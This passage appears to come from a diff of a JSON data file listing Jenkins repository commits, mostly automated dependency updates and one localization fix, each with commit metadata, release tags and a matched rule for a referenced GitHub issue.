"war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8910": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8910", + "relevance": 2 + } + ] + }, + { + "commit_id": "090ada7bfdb570cb54c6d56d397716e11162368a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706549637, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:credentials from 1317.v0ce519a_92b_3e to 1319.v7eb_51b_3a_c97b_ (#8904) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8904": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8904", + "relevance": 2 + } + ] + }, + { + "commit_id": "419539c1fa889155cee4ea27a415bc101c64f6dc", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706468376, + "hunks": 14, + "message": "Update dependency webpack to v5.90.0 (#8906) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8906": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8906", + "relevance": 2 + } + ] + }, + { + "commit_id": "c414546f8bf856056957ff4af3208a3993db492c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706310757, + "hunks": 1, + "message": "Update dependency node to v20.11.0 (#8899) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8899": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8899", + "relevance": 2 + } + ] + }, + { + "commit_id": "8088f30d396318bf90ea30b2ec2e253dea98c25c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706276734, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:credentials from 1311.vcf0a_900b_37c2 to 1317.v0ce519a_92b_3e (#8901) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8901": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8901", + "relevance": 2 + } + ] + }, + { + "commit_id": "ae9b71cfeca9023451abf0d24a2940be3560e88c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706193632, + "hunks": 5, + "message": "[JENKINS-66677] Localize \"This folder is empty\" text (#8890) * [JENKINS-66677] Localize \"This folder is empty\" text * Apply code review suggestions Co-authored-by: Herv\u00c3\u00a9 Le Meur <91831478+lemeurherve@users.noreply.github.com> --------- Co-authored-by: Herv\u00c3\u00a9 Le Meur <91831478+lemeurherve@users.noreply.github.com>", + "changed_files": [ + "core/src/main/resources/hudson/model/AllView/noJob.groovy", + "core/src/main/resources/hudson/model/AllView/noJob.properties", + "core/src/main/resources/hudson/model/AllView/noJob_fr.properties", + "core/src/main/resources/hudson/model/Job/configure_fr.properties", + "core/src/main/resources/hudson/model/Messages_fr.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8890": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8890", + "relevance": 2 + } + ] + }, + { + "commit_id": "68131ec1826a3289b00594b881527b005d774834", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706191584, + "hunks": 354, + "message": "Upgrade transitive frontend dependencies (#8896)", + "changed_files": [ + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8896": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8896", + "relevance": 2 + } + ] + }, + { + "commit_id": "3e83c64df4de7840cb7fbbac511af83e10cc5515", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706141823, + "hunks": 11, + "message": "Update dependency stylelint-config-standard to v36 (#8805) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/src/main/scss/abstracts/_theme.scss", + "war/src/main/scss/base/_layout-commons.scss", + "war/src/main/scss/components/_side-panel-tasks.scss", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8805": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8805", + "relevance": 2 + } + ] + }, + { + "commit_id": "76d4e1eed426a39e327c31dbd8c5ccf607b74928", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706140694, + "hunks": 1, + "message": "Bump org.glassfish.tyrus.bundles:tyrus-standalone-client-jdk from 2.1.4 to 2.1.5 (#8875) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "cli/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8875": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8875", + "relevance": 2 + } + ] + }, + { + "commit_id": "5b364bc022c51914bb2fb3e279d486085c53e0fd", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706131375, + "hunks": 3, + "message": "Update dependency sortablejs to v1.15.2 (#8871) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8871": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8871", + "relevance": 2 + } + ] + }, + { + "commit_id": "d480a76706f3b7f77effc106549795fe8c994355", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706131212, + "hunks": 5, + "message": "Update dependency prettier to v3.2.4 (#8892) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/.babelrc", + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8892": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8892", + "relevance": 2 + } + ] + }, + { + "commit_id": "d982cad688a11e2a4038e3818103de25fc5153a9", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706130858, + "hunks": 15, + "message": "Update dependency stylelint to v16.2.0 (#8886) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8886": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8886", + "relevance": 2 + } + ] + }, + { + "commit_id": "702d2f206330f43297654413e5df3d4bc73c1fd0", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706130665, + "hunks": 4, + "message": "Update dependency sass to v1.70.0 (#8883) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8883": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8883", + "relevance": 2 + } + ] + }, + { + "commit_id": "8f955329ba92e57137ce8cc237d9fcd5ed1ce70d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706130476, + "hunks": 11, + "message": "Update dependency css-loader to v6.9.1 (#8885) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8885": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8885", + "relevance": 2 + } + ] + }, + { + "commit_id": "448eccd0d3bc42d5e107c6e5c4b9e6aafb9ac613", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706130318, + "hunks": 109, + "message": "Update dependency css-minimizer-webpack-plugin to v6 (#8882) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8882": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8882", + "relevance": 2 + } + ] + }, + { + "commit_id": "178b79035e26e8d2c20d784b05866a289183fab4", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706130111, + "hunks": 6, + "message": "Update dependency postcss-loader to v8 (#8880) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8880": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8880", + "relevance": 2 + } + ] + }, + { + "commit_id": "f63866ea9a16d2ed79df3ad0a02c219cdfd18d25", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706129850, + "hunks": 6, + "message": "Update dependency sass-loader to v14 (#8877) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8877": "Merge pull request #1 from jenkinsci/master #8893" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8877", + "relevance": 2 + } + ] + }, + { + "commit_id": "788d93b49692bcb0b686c519f122a1f73f0b4ad6", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706129361, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:structs from 325.vcb_307d2a_2782 to 337.v1b_04ea_4df7c8 (#8876) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8876": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + 